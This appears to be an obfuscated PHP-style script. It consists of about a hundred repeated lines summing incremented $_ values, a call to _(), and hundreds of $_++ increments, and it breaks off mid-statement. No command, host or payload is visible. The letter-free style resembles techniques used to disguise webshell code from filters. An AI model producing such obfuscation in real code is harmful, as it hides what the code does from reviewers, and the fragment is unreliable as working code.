$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=_($_);$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$